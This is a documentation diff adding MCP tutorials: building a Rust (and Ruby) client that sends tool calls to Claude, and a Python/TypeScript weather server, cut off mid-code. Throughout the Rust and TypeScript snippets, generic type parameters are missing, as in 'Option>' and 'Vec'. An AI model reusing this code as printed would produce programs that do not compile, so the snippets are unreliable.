+ * Maps MCP tools to Anthropic tool format (`name`, `description`, `input_schema`)
+ * Uses `Anthropic::Models::TextBlock` and `Anthropic::Models::ToolUseBlock` for pattern matching
+ * Builds assistant content once before iterating tool calls
+ * Executes tool calls via `@mcp_client.call_tool`
+ * Uses `chat` helper method to wrap Anthropic API calls
+ * Extracts tool result content with `result.dig("result", "content")`
+ * Passes tool results back to Claude for a final response
+
+ ### 4. Interactive Interface
+
+ * Provides a simple command-line interface
+ * Handles user input and displays responses
+ * Skips empty queries
+ * Includes basic error handling
+
+ ### 5. Resource Management
+
+ * Proper cleanup of the transport via `begin`...`ensure`
+ * Top-level `rescue` for error handling
+ * API key validation after server connection
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ bundle exec ruby client.rb path/to/server.rb # ruby server
+ bundle exec ruby client.rb path/to/server.py # python server
+ bundle exec ruby client.rb path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby), your command might look something like this: `bundle exec ruby client.rb /path/to/weather-server-ruby/weather.rb`
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Wrap tool calls in `begin`...`rescue` blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Resource Management**
+ * Always close the transport when done
+ * Use `begin`...`ensure` for proper cleanup
+ * Handle server disconnections
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ 4. **Tool Names**
+ * Tool names can be validated according to the format specified [here](/specification/2025-11-25/server/tools#tool-names)
+ * If a tool name conforms to the specified format, it should not fail validation by an MCP client
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.py for Python, .js for Node.js, or .rb for Ruby)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ bundle exec ruby client.rb ./server/weather.rb
+
+ # Absolute path
+ bundle exec ruby client.rb /Users/username/projects/mcp-server/weather.rb
+
+ # Windows path (either format works)
+ bundle exec ruby client.rb C:/projects/mcp-server/weather.rb
+ bundle exec ruby client.rb C:\\projects\\mcp-server\\weather.rb
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `Errno::ENOENT`: Check your server path and ensure the command (`ruby`, `python3`, `node`) is available
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `Anthropic::Errors::AuthenticationError`: Check your `.env` file has a valid `ANTHROPIC_API_KEY`
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-rust)
+
+ ## System Requirements
+
+ Before starting, ensure your Linux system meets these requirements:
+
+ * Latest stable version of [Rust and Cargo](https://www.rust-lang.org/tools/install)
+ * Anthropic API key (Claude)
+ * A Python, Node.js, or executable MCP server to connect to
+
+ ## Setting Up Your Environment
+
+ First, create a new Rust project:
+
+ ```bash theme={null}
+ cargo new mcp-client-rust
+ cd mcp-client-rust
+ ```
+
+ Replace the contents of `Cargo.toml` with the following:
+
+ ```toml Cargo.toml theme={null}
+ [package]
+ name = "mcp-client-rust"
+ version = "0.1.0"
+ edition = "2024"
+
+ [dependencies]
+ anyhow = "1.0.100"
+ genai = "0.4.2"
+ rmcp = { version = "0.8.0", features = ["server", "client", "transport-io", "transport-child-process"] }
+ tokio = { version = "1.47.1", features = ["full"] }
+ tracing = "0.1.41"
+ tracing-subscriber = { version = "0.3", features = ["env-filter"] }
+ serde_json = "1.0.128"
+ dotenvy = "0.15.7"
+ reqwest = "0.12.23"
+ ```
+
+ The [`rmcp`](https://github.com/modelcontextprotocol/rust-sdk) crate provides the Rust MCP SDK and child-process transport. This example uses the [`genai`](https://github.com/jeremychone/rust-genai) crate to send requests to Claude and represent tools in the model request.
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ Open `src/main.rs` and replace its contents as you work through the following sections.
+
+ ### Imports and Client Structure
+
+ First, add the imports, model constant, and basic client structure:
+
+ ```rust theme={null}
+ use anyhow::{Context, Result, bail};
+ use genai::Client;
+ use genai::chat::{
+ ChatMessage, ChatRequest, ChatResponse, ContentPart, Tool as GenaiTool, ToolResponse,
+ };
+ use rmcp::model::{CallToolRequestParam, Tool as McpTool};
+ use rmcp::service::{RoleClient, RunningService, ServiceExt};
+ use rmcp::transport::TokioChildProcess;
+ use serde_json::Value;
+ use tokio::io::{self, AsyncBufReadExt, BufReader};
+ use tokio::process::Command;
+
+ const MODEL_ANTHROPIC: &str = "claude-sonnet-4-20250514";
+
+ struct MCPClient {
+ anthropic: Client,
+ session: Option>,
+ tools: Vec,
+ }
+ ```
+
+ The client keeps the model API client, the active MCP session, and the tools advertised by the connected server.
+
+ ### Client Initialization
+
+ Next, initialize the model client and start without an MCP session or tools:
+
+ ```rust theme={null}
+ impl MCPClient {
+ fn new() -> Result {
+ Ok(MCPClient {
+ anthropic: Client::default(),
+ session: None,
+ tools: Vec::new(),
+ })
+ }
+
+ // Additional methods will go here.
+ }
+ ```
+
+ `genai::Client::default()` reads the `ANTHROPIC_API_KEY` environment variable when it sends a request.
+
+ ### Server Connection Management
+
+ Add this method inside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ async fn connect_to_server(&mut self, server_args: &[String]) -> Result<()> {
+ if self.session.is_some() {
+ bail!("Client is already connected to a server");
+ }
+
+ let mut command = Command::new(&server_args[0]);
+ command.args(&server_args[1..]);
+
+ let process = TokioChildProcess::new(command)
+ .with_context(|| format!("Failed to spawn server process for {:?}", server_args))?;
+
+ let session = ().serve(process).await?;
+
+ let rmcp_tools = session
+ .list_all_tools()
+ .await
+ .context("Unable to list tools from server")?;
+
+ let tool_names: Vec = rmcp_tools
+ .iter()
+ .map(|tool| tool.name.to_string())
+ .collect();
+
+ println!("Connected to server with tools: {tool_names:?}");
+
+ self.tools = convert_tools(&rmcp_tools);
+ self.session = Some(session);
+ Ok(())
+ }
+ ```
+
+ This method:
+
+ 1. Starts the server as a child process using the command and arguments supplied on the command line
+ 2. Establishes an MCP session over stdio
+ 3. Lists all tools advertised by the server
+ 4. Converts those tools into the format used in model requests
+
+ ### Converting MCP Tools
+
+ Add this function outside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ fn convert_tools(tools: &[McpTool]) -> Vec {
+ tools
+ .iter()
+ .map(|tool| GenaiTool {
+ name: tool.name.to_string(),
+ description: tool.description.as_deref().map(str::to_string),
+ schema: Some(Value::Object(tool.input_schema.as_ref().clone())),
+ config: None,
+ })
+ .collect()
+ }
+ ```
+
+ MCP and model APIs describe tools with similar information but different Rust types. `convert_tools` maps each MCP tool's name, description, and input schema into a `genai` tool definition.
+
+ ### Sending Model Requests
+
+ Add this helper method inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn request_model(&self, chat_req: &ChatRequest) -> Result {
+ let response = self
+ .anthropic
+ .exec_chat(MODEL_ANTHROPIC, chat_req.clone(), None)
+ .await
+ .context("Anthropic chat request failed")?;
+
+ Ok(response)
+ }
+ ```
+
+ This keeps model request handling in one place and adds useful context if the API request fails.
+
+ ### Query Processing Logic
+
+ Now add the core query-processing method inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn process_query(&mut self, query: &str) -> Result {
+ let session = self
+ .session
+ .as_ref()
+ .context("Client is not connected to any server")?;
+
+ let mut messages = vec![ChatMessage::user(query)];
+ let mut final_text = Vec::new();
+
+ // Initial Claude API call with tools
+ let mut chat_req = ChatRequest::new(messages.clone()).with_tools(self.tools.clone());
+ let mut chat_rsp = self.request_model(&chat_req).await?;
+
+ // Process response content - collect text and handle tool calls
+ for text in chat_rsp.texts() {
+ final_text.push(text.to_string());
+ }
+
+ let tool_calls = chat_rsp.tool_calls();
+ if !tool_calls.is_empty() {
+ // Append assistant's response to message history
+ messages.push(ChatMessage::assistant(chat_rsp.content.clone()));
+
+ // Execute each tool call and collect responses
+ let mut tool_results = Vec::new();
+ for tool_call in tool_calls {
+ // Add information about the tool call to final text
+ let tool_args_str = serde_json::to_string(&tool_call.fn_arguments)
+ .unwrap_or_else(|_| "{}".to_string());
+
+ final_text.push(format!(
+ "[Calling tool {} with args {}]",
+ tool_call.fn_name, tool_args_str
+ ));
+
+ // Query the MCP server
+ let tool_result = session
+ .call_tool(CallToolRequestParam {
+ name: tool_call.fn_name.clone().into(),
+ arguments: tool_call.fn_arguments.as_object().cloned(),
+ })
+ .await
+ .with_context(|| format!("Tool call {} failed", tool_call.fn_name))?;
+
+ let payload = serde_json::to_string(&tool_result)
+ .context("Failed to serialize tool result")?;
+
+ tool_results.push(ContentPart::ToolResponse(ToolResponse::new(
+ tool_call.call_id.clone(),
+ payload,
+ )));
+ }
+
+ // Append tool responses to message history
+ messages.push(ChatMessage::user(tool_results));
+
+ // Build the next request and query model
+ chat_req = ChatRequest::new(messages.clone());
+ chat_rsp = self.request_model(&chat_req).await?;
+
+ // Collect text from response
+ for text in chat_rsp.texts() {
+ final_text.push(text.to_string());
+ }
+ }
+
+ Ok(final_text.join("\n"))
+ }
+ ```
+
+ The method first sends the user's query and available tools to Claude. When Claude requests tools, the client executes each request through the MCP session, sends the results back to Claude, and collects the final text response.
+
+ ### Interactive Chat Interface
+
+ Add the interactive terminal loop inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn chat_loop(&mut self) -> Result<()> {
+ println!("\nMCP Client Started!");
+ println!("Type your queries or 'quit' to exit.");
+
+ let mut stdin = BufReader::new(io::stdin());
+ let mut input = String::new();
+
+ loop {
+ print!("\nQuery: ");
+ std::io::Write::flush(&mut std::io::stdout())?;
+
+ input.clear();
+ if stdin.read_line(&mut input).await? == 0 {
+ break; // EOF
+ }
+
+ let query = input.trim();
+ if query.eq_ignore_ascii_case("quit") {
+ break;
+ }
+ if query.is_empty() {
+ continue;
+ }
+
+ match self.process_query(query).await {
+ Ok(response) => println!("\n{}", response),
+ Err(err) => println!("\nError: {}", err),
+ }
+ }
+
+ Ok(())
+ }
+ ```
+
+ The loop accepts queries until the user types `quit` or closes standard input. Query errors are printed without terminating the client.
+
+ ### Cleanup
+
+ Add this method inside `impl MCPClient` to stop the MCP session and child process:
+
+ ```rust theme={null}
+ async fn cleanup(&mut self) -> Result<()> {
+ if let Some(session) = self.session.take() {
+ let _ = session.cancel().await;
+ }
+ Ok(())
+ }
+ ```
+
+ ### Main Entry Point
+
+ Finally, add the asynchronous entry point outside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ #[tokio::main]
+ async fn main() -> Result<()> {
+ dotenvy::dotenv().context("Failed to load env file")?;
+
+ let mut args = std::env::args();
+ let _ = args.next();
+ let server_args: Vec = args.collect();
+
+ if server_args.is_empty() {
+ eprintln!("Usage: cargo run -- [args...]");
+ std::process::exit(1);
+ }
+
+ let mut client = MCPClient::new()?;
+
+ let result = async {
+ client.connect_to_server(&server_args).await?;
+ client.chat_loop().await
+ }
+ .await;
+
+ let cleanup_result = client.cleanup().await;
+
+ result?;
+ cleanup_result?;
+
+ Ok(())
+ }
+ ```
+
+ The entry point loads `.env`, treats all remaining command-line arguments as the server command, connects the client, starts the chat loop, and ensures cleanup runs before exiting.
+
+ ### Verify the Complete File
+
+ Before running the client, confirm the items in `src/main.rs` are placed at the correct scope:
+
+ * `new`, `connect_to_server`, `process_query`, `request_model`, `chat_loop`, and `cleanup` are methods inside the single `impl MCPClient` block.
+ * `main` and `convert_tools` are functions outside the `impl MCPClient` block.
+
+ Rust does not require these items to appear in a particular order, but methods and free functions must be placed in the correct scope. Compare your file with the [complete `src/main.rs` example](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-rust/src/main.rs), then check that it compiles:
+
+ ```bash theme={null}
+ cargo fmt --check
+ cargo check
+ ```
+
+ ## Running the Client
+
+ Use `cargo run --` followed by the command you would normally use to start the MCP server:
+
+ ```bash theme={null}
+ # Python server
+ cargo run -- python path/to/server.py
+
+ # Node.js server
+ cargo run -- node path/to/build/index.js
+
+ # Executable server
+ cargo run -- path/to/server-binary
+ ```
+
+ Running bare `cargo run` without a server command prints the usage message and exits.
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust), build the server first and then run a command similar to: `cargo run -- ../weather-server-rust/target/debug/weather`
+
+
+ The client will:
+
+ 1. Start and connect to the specified MCP server
+ 2. List the tools available from that server
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client sends your query and the server's available tools to Claude
+ 2. Claude decides which tools, if any, to use
+ 3. The client executes requested tools through the MCP session
+ 4. Tool results are sent back to Claude
+ 5. Claude provides a natural language response
+ 6. The response is displayed in the terminal
+
+ ## Best Practices
+
+ 1. **Error Handling**
+ * Add context to errors at process, MCP, model API, and serialization boundaries
+ * Report individual query errors without terminating the interactive session
+ * Validate server commands before running them
+
+ 2. **Resource Management**
+ * Always cancel the MCP session during cleanup
+ * Ensure cleanup runs even when connection or chat-loop operations fail
+ * Avoid starting a second server while a session is active
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Review the tools exposed by a server before allowing model-driven calls
+ * Connect only to servers and executable commands you trust
+
+ ## Troubleshooting
+
+ ### Server Command Issues
+
+ The arguments after `cargo run --` must form a complete command. Interpreted server scripts need their runtime:
+
+ ```bash theme={null}
+ # Correct
+ cargo run -- python ./server/weather.py
+ cargo run -- node ./server/build/index.js
+
+ # Incorrect: a Python script is not necessarily executable by itself
+ cargo run -- ./server/weather.py
+ ```
+
+ If a command cannot be found, use its absolute path or verify it is available in your `PATH`.
+
+ ### Environment File Issues
+
+ If you see `Failed to load env file`, ensure `.env` exists in the directory where you run the client.
+
+ If the model request reports a missing API key, confirm that `.env` contains:
+
+ ```text theme={null}
+ ANTHROPIC_API_KEY=your-api-key-goes-here
+ ```
+
+ ### Tool and Response Errors
+
+ * `Unable to list tools from server`: Verify the server starts successfully and communicates over stdio
+ * `Tool call ... failed`: Verify the server tool's required arguments and environment variables
+ * `Failed to serialize tool result`: Inspect the server's response for unsupported or malformed content
+
+
+
+## Next steps
+
+
+
+ Check out our gallery of official MCP servers and implementations
+
+
diff --git a/content/mcp/docs/2025-11-25/develop/build-server.md b/content/mcp/docs/2025-11-25/develop/build-server.md
new file mode 100644
index 000000000..6bd273b8e
--- /dev/null
+++ b/content/mcp/docs/2025-11-25/develop/build-server.md
@@ -0,0 +1,3001 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build an MCP server
+
+> Get started building your own server to use in Claude for Desktop and other clients.
+
+In this tutorial, we'll build a simple MCP weather server and connect it to a host, Claude for Desktop.
+
+### What we'll be building
+
+We'll build a server that exposes two tools: `get_alerts` and `get_forecast`. Then we'll connect the server to an MCP host (in this case, Claude for Desktop):
+
+
+
+
+
+
+ Servers can connect to any client. We've chosen Claude for Desktop here for simplicity, but we also have a guide on [building your own client](/docs/2025-11-25/develop/build-client).
+
+
+### Core MCP Concepts
+
+MCP servers can provide three main types of capabilities:
+
+1. **[Resources](/docs/2025-11-25/learn/server-concepts#resources)**: File-like data that can be read by clients (like API responses or file contents)
+2. **[Tools](/docs/2025-11-25/learn/server-concepts#tools)**: Functions that can be called by the LLM (with user approval)
+3. **[Prompts](/docs/2025-11-25/learn/server-concepts#prompts)**: Pre-written templates that help users accomplish specific tasks
+
+This tutorial will primarily focus on tools.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Python
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never write to stdout. Writing to stdout will corrupt the JSON-RPC messages and break your server. The `print()` function writes to stdout by default, but can be used safely with `file=sys.stderr`.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```python theme={null}
+ import sys
+ import logging
+
+ # ❌ Bad (STDIO)
+ print("Processing request")
+
+ # ✅ Good (STDIO)
+ print("Processing request", file=sys.stderr)
+
+ # ✅ Good (STDIO)
+ logging.info("Processing request")
+ ```
+
+ ### System requirements
+
+ * Python 3.10 or higher installed.
+ * You must use the Python MCP SDK 1.2.0 or higher.
+
+ ### Set up your environment
+
+ First, let's install `uv` and set up our Python project and environment:
+
+
+ ```bash macOS/Linux theme={null}
+ curl -LsSf https://astral.sh/uv/install.sh | sh
+ ```
+
+ ```powershell Windows theme={null}
+ powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"
+ ```
+
+
+ Make sure to restart your terminal afterwards to ensure that the `uv` command gets picked up.
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ uv init weather
+ cd weather
+
+ # Create virtual environment and activate it
+ uv venv
+ source .venv/bin/activate
+
+ # Install dependencies
+ uv add "mcp[cli]" httpx
+
+ # Create our server file
+ touch weather.py
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ uv init weather
+ cd weather
+
+ # Create virtual environment and activate it
+ uv venv
+ .venv\Scripts\activate
+
+ # Install dependencies
+ uv add mcp[cli] httpx
+
+ # Create our server file
+ new-item weather.py
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up the instance
+
+ Add these to the top of your `weather.py`:
+
+ ```python theme={null}
+ from typing import Any
+
+ import httpx
+ from mcp.server.fastmcp import FastMCP
+
+ # Initialize FastMCP server
+ mcp = FastMCP("weather")
+
+ # Constants
+ NWS_API_BASE = "https://api.weather.gov"
+ USER_AGENT = "weather-app/1.0"
+ ```
+
+ The FastMCP class uses Python type hints and docstrings to automatically generate tool definitions, making it easy to create and maintain MCP tools.
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```python theme={null}
+ async def make_nws_request(url: str) -> dict[str, Any] | None:
+ """Make a request to the NWS API with proper error handling."""
+ headers = {"User-Agent": USER_AGENT, "Accept": "application/geo+json"}
+ async with httpx.AsyncClient() as client:
+ try:
+ response = await client.get(url, headers=headers, timeout=30.0)
+ response.raise_for_status()
+ return response.json()
+ except Exception:
+ return None
+
+
+ def format_alert(feature: dict) -> str:
+ """Format an alert feature into a readable string."""
+ props = feature["properties"]
+ return f"""
+ Event: {props.get("event", "Unknown")}
+ Area: {props.get("areaDesc", "Unknown")}
+ Severity: {props.get("severity", "Unknown")}
+ Description: {props.get("description", "No description available")}
+ Instructions: {props.get("instruction", "No specific instructions provided")}
+ """
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```python theme={null}
+ @mcp.tool()
+ async def get_alerts(state: str) -> str:
+ """Get weather alerts for a US state.
+
+ Args:
+ state: Two-letter US state code (e.g. CA, NY)
+ """
+ url = f"{NWS_API_BASE}/alerts/active/area/{state}"
+ data = await make_nws_request(url)
+
+ if not data or "features" not in data:
+ return "Unable to fetch alerts or no alerts found."
+
+ if not data["features"]:
+ return "No active alerts for this state."
+
+ alerts = [format_alert(feature) for feature in data["features"]]
+ return "\n---\n".join(alerts)
+
+
+ @mcp.tool()
+ async def get_forecast(latitude: float, longitude: float) -> str:
+ """Get weather forecast for a location.
+
+ Args:
+ latitude: Latitude of the location
+ longitude: Longitude of the location
+ """
+ # First get the forecast grid endpoint
+ points_url = f"{NWS_API_BASE}/points/{latitude},{longitude}"
+ points_data = await make_nws_request(points_url)
+
+ if not points_data:
+ return "Unable to fetch forecast data for this location."
+
+ # Get the forecast URL from the points response
+ forecast_url = points_data["properties"]["forecast"]
+ forecast_data = await make_nws_request(forecast_url)
+
+ if not forecast_data:
+ return "Unable to fetch detailed forecast."
+
+ # Format the periods into a readable forecast
+ periods = forecast_data["properties"]["periods"]
+ forecasts = []
+ for period in periods[:5]: # Only show next 5 periods
+ forecast = f"""
+ {period["name"]}:
+ Temperature: {period["temperature"]}°{period["temperatureUnit"]}
+ Wind: {period["windSpeed"]} {period["windDirection"]}
+ Forecast: {period["detailedForecast"]}
+ """
+ forecasts.append(forecast)
+
+ return "\n---\n".join(forecasts)
+ ```
+
+ ### Running the server
+
+ Finally, let's initialize and run the server:
+
+ ```python theme={null}
+ def main():
+ # Initialize and run the server
+ mcp.run(transport="stdio")
+
+
+ if __name__ == "__main__":
+ main()
+ ```
+
+ Your server is complete! Run `uv run weather.py` to start the MCP server, which will listen for messages from MCP hosts.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-11-25/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "uv",
+ "args": [
+ "--directory",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather",
+ "run",
+ "weather.py"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "uv",
+ "args": [
+ "--directory",
+ "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather",
+ "run",
+ "weather.py"
+ ]
+ }
+ }
+ }
+ ```
+
+
+
+ You may need to put the full path to the `uv` executable in the `command` field. You can get this by running `which uv` on macOS/Linux or `where uv` on Windows.
+
+
+
+ Make sure you pass in the absolute path to your server. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. To launch it by running `uv --directory /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather run weather.py`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * TypeScript
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `console.log()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use `console.error()` which writes to stderr, or use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```javascript theme={null}
+ // ❌ Bad (STDIO)
+ console.log("Server started");
+
+ // ✅ Good (STDIO)
+ console.error("Server started"); // stderr is safe
+ ```
+
+ ### System requirements
+
+ For TypeScript, make sure you have the latest version of Node installed.
+
+ ### Set up your environment
+
+ First, let's install Node.js and npm if you haven't already. You can download them from [nodejs.org](https://nodejs.org/).
+ Verify your Node.js installation:
+
+ ```bash theme={null}
+ node --version
+ npm --version
+ ```
+
+ For this tutorial, you'll need Node.js version 16 or higher.
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize a new npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @modelcontextprotocol/sdk zod@3
+ npm install -D @types/node typescript
+
+ # Create our files
+ mkdir src
+ touch src/index.ts
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize a new npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @modelcontextprotocol/sdk zod@3
+ npm install -D @types/node typescript
+
+ # Create our files
+ md src
+ new-item src\index.ts
+ ```
+
+
+ Update your package.json to add type: "module" and a build script:
+
+ ```json package.json theme={null}
+ {
+ "type": "module",
+ "bin": {
+ "weather": "./build/index.js"
+ },
+ "scripts": {
+ "build": "tsc && chmod 755 build/index.js"
+ },
+ "files": ["build"]
+ }
+ ```
+
+ Create a `tsconfig.json` in the root of your project:
+
+ ```json tsconfig.json theme={null}
+ {
+ "compilerOptions": {
+ "target": "ES2022",
+ "module": "Node16",
+ "moduleResolution": "Node16",
+ "outDir": "./build",
+ "rootDir": "./src",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true
+ },
+ "include": ["src/**/*"],
+ "exclude": ["node_modules"]
+ }
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up the instance
+
+ Add these to the top of your `src/index.ts`:
+
+ ```typescript theme={null}
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+ import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
+ import { z } from "zod";
+
+ const NWS_API_BASE = "https://api.weather.gov";
+ const USER_AGENT = "weather-app/1.0";
+
+ // Create server instance
+ const server = new McpServer({
+ name: "weather",
+ version: "1.0.0",
+ });
+ ```
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```typescript theme={null}
+ // Helper function for making NWS API requests
+ async function makeNWSRequest(url: string): Promise {
+ const headers = {
+ "User-Agent": USER_AGENT,
+ Accept: "application/geo+json",
+ };
+
+ try {
+ const response = await fetch(url, { headers });
+ if (!response.ok) {
+ throw new Error(`HTTP error! status: ${response.status}`);
+ }
+ return (await response.json()) as T;
+ } catch (error) {
+ console.error("Error making NWS request:", error);
+ return null;
+ }
+ }
+
+ interface AlertFeature {
+ properties: {
+ event?: string;
+ areaDesc?: string;
+ severity?: string;
+ status?: string;
+ headline?: string;
+ };
+ }
+
+ // Format alert data
+ function formatAlert(feature: AlertFeature): string {
+ const props = feature.properties;
+ return [
+ `Event: ${props.event || "Unknown"}`,
+ `Area: ${props.areaDesc || "Unknown"}`,
+ `Severity: ${props.severity || "Unknown"}`,
+ `Status: ${props.status || "Unknown"}`,
+ `Headline: ${props.headline || "No headline"}`,
+ "---",
+ ].join("\n");
+ }
+
+ interface ForecastPeriod {
+ name?: string;
+ temperature?: number;
+ temperatureUnit?: string;
+ windSpeed?: string;
+ windDirection?: string;
+ shortForecast?: string;
+ }
+
+ interface AlertsResponse {
+ features: AlertFeature[];
+ }
+
+ interface PointsResponse {
+ properties: {
+ forecast?: string;
+ };
+ }
+
+ interface ForecastResponse {
+ properties: {
+ periods: ForecastPeriod[];
+ };
+ }
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```typescript theme={null}
+ // Register weather tools
+
+ server.registerTool(
+ "get_alerts",
+ {
+ description: "Get weather alerts for a state",
+ inputSchema: {
+ state: z
+ .string()
+ .length(2)
+ .describe("Two-letter state code (e.g. CA, NY)"),
+ },
+ },
+ async ({ state }) => {
+ const stateCode = state.toUpperCase();
+ const alertsUrl = `${NWS_API_BASE}/alerts?area=${stateCode}`;
+ const alertsData = await makeNWSRequest(alertsUrl);
+
+ if (!alertsData) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: "Failed to retrieve alerts data",
+ },
+ ],
+ };
+ }
+
+ const features = alertsData.features || [];
+ if (!features.length) {
+ return {
+ content: [
+ {
+ type: "text",
+ text: `No active alerts for ${stateCode}`,
+ },
